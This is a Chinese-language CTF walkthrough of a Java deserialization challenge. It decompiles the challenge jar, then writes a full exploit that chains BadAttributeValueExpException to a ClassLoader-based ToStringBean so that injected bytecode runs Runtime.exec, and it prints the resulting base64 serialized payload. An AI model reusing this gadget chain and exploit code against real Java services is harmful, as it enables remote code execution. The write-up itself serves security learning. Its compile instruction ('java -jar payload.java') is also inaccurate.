入门第一道题目
运行jar包,访问8888端口,发现只是正常index返回。
所所以还是反编译jar包看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.ezgame.ctf.tools;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.Base64;
public class Tools { public static byte[] base64Decode(String base64) { Base64.Decoder decoder = Base64.getDecoder(); return decoder.decode(base64); }
public static String base64Encode(byte[] bytes) { Base64.Encoder encoder = Base64.getEncoder(); return encoder.encodeToString(bytes); }
public static byte[] serialize(final Object obj) throws Exception { ByteArrayOutputStream btout = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(btout); objOut.writeObject(obj); return btout.toByteArray(); }
public static Object deserialize(final byte[] serialized) throws Exception { ByteArrayInputStream btin = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(btin); return objIn.readObject(); } }
|
该类下是执行了一个base64的加密和解密以及序列化和反序列化的过程
ToStringBean
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package com.ezgame.ctf.tools;
import java.io.Serializable;
public class ToStringBean extends ClassLoader implements Serializable { private byte[] ClassByte;
public String toString() { ToStringBean toStringBean = new ToStringBean(); Class clazz = toStringBean.defineClass((String) null, this.ClassByte, 0, this.ClassByte.length); try { clazz.newInstance(); return "enjoy it."; } catch (IllegalAccessException e) { e.printStackTrace(); return "enjoy it."; } catch (InstantiationException e2) { e2.printStackTrace(); return "enjoy it."; } } }
|
该类重写了tostring方法‘。ToStringBean: 继承了ClassLoader,而这可以通过调用defineClass,从而动态加载一个类,将这个类实例化从而达到命令执行。这里只要能调用toString
就能加载我们传入的恶意字节码,其中ClassByte就是我们要传入的恶意字节码,由于是私有的,所以只能通过反射来进行赋值。
User
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package com.ezgame.ctf.bean;
import java.io.Serializable;
public class User implements Serializable { private String UserName; private String PassWord;
public String getUserName() { return this.UserName; }
public void setUserName(String userName) { this.UserName = userName; }
public String getPassWord() { return this.PassWord; }
public void setPassWord(String passWord) { this.PassWord = passWord; }
public String toString() { return "User{UserName='" + this.UserName + "', PassWord='" + this.PassWord + "'}"; } }
|
该类是典型的bean,规定了user的内容
重点地方是下面这个类
IndexController
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| package com.ezgame.ctf.controller;
import com.ezgame.ctf.tools.Tools; import java.io.ByteArrayInputStream; import java.io.InputStream; import java.io.ObjectInputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class IndexController { @RequestMapping({"/"}) @ResponseBody public String index(HttpServletRequest request, HttpServletResponse response) { return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE; }
@RequestMapping({"/readobject"}) @ResponseBody public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception { byte[] b = Tools.base64Decode(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); String name = objectInputStream.readUTF(); int year = objectInputStream.readInt(); if (name.equals("gadgets") && year == 2021) { objectInputStream.readObject(); return "welcome bro."; } return "welcome bro."; } }
|
从中我们可以看到在readobject路由下,会接受一个POST参数data
,之后会对data
参数进行base64编码,并将其(InputStream
)转化为一个对象流,从中读取UTF(readUTF()
)和INT(readInt()
),将得到的UTF与“gadgets”对比,Int与2021对比,相等则执行objectInputStream.readObject();
所以·对data参数进行反序列化,toStringBean
类重写了toString
方法。然后BadAttributeValueExpException
类的readobject方法中调用了val
的toString()
方法,val
可以传入toStringBean
,从而在调用BadAttributeValueExpException
的readobject
的时候调用的toStringBean
的toString()
方法。
因而我们的exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import com.ezgame.ctf.tools.Tools; import com.ezgame.ctf.tools.ToStringBean;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class Exp { public static void main(String[] args) throws Exception { ToStringBean tostringbean = new ToStringBean(); Field classByteField = tostringbean.getClass().getDeclaredField("ClassByte"); classByteField.setAccessible(true); byte[] classByteone = Files.readAllBytes(Paths.get("C:\\Users\\a\\Desktop\\javaaudit\\webpoc\\src\\com\\ezgame\\ctf\\payload.class")); classByteField.set(tostringbean, classByteone);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(11223); Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException, tostringbean); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("gadgets"); objectOutputStream.writeInt(2021); objectOutputStream.writeObject(badAttributeValueExpException); byte[] bytes1 = byteArrayOutputStream.toByteArray(); String base64String1 = Tools.base64Encode(bytes1); System.out.println(base64String1); } }
|
payload为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.ezgame.ctf;
import java.io.IOException;
public class payload { static { try { Runtime.getRuntime().exec("calc"); } catch(IOException e){ e.printStackTrace(); } } }
|
使用cmd下命令java -jar payload.java
编译成class文件
最终得到
1
| rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAFXQAA0V4cHQACEV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAIWNvbS5lemdhbWUuY3RmLnRvb2xzLlRvU3RyaW5nQmVhbhPMVFon2dx5AgABWwAJQ2xhc3NCeXRldAACW0J4cHVyAAJbQqzzF/gGCFTgAgAAeHAAAAIDyv66vgAAADcAIAoACAARCgASABMIABQKABIAFQcAFgoABQAXBwAYBwAZAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAAxwYXlsb2FkLmphdmEMAAkACgcAGgwAGwAcAQAEY2FsYwwAHQAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAHwAKAQAWY29tL2V6Z2FtZS9jdGYvcGF5bG9hZAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAACAAEACQAKAAEACwAAAB0AAQABAAAABSq3AAGxAAAAAQAMAAAABgABAAAABQAIAA0ACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAAAgACQAMAAwACgANAAsAEQANAA4AAAAHAAJMBwAFBAABAA8AAAACABA=
|
但传入参数时注意url编码,因为base64编码后存在+号,而url传参时会将+号识别为空格。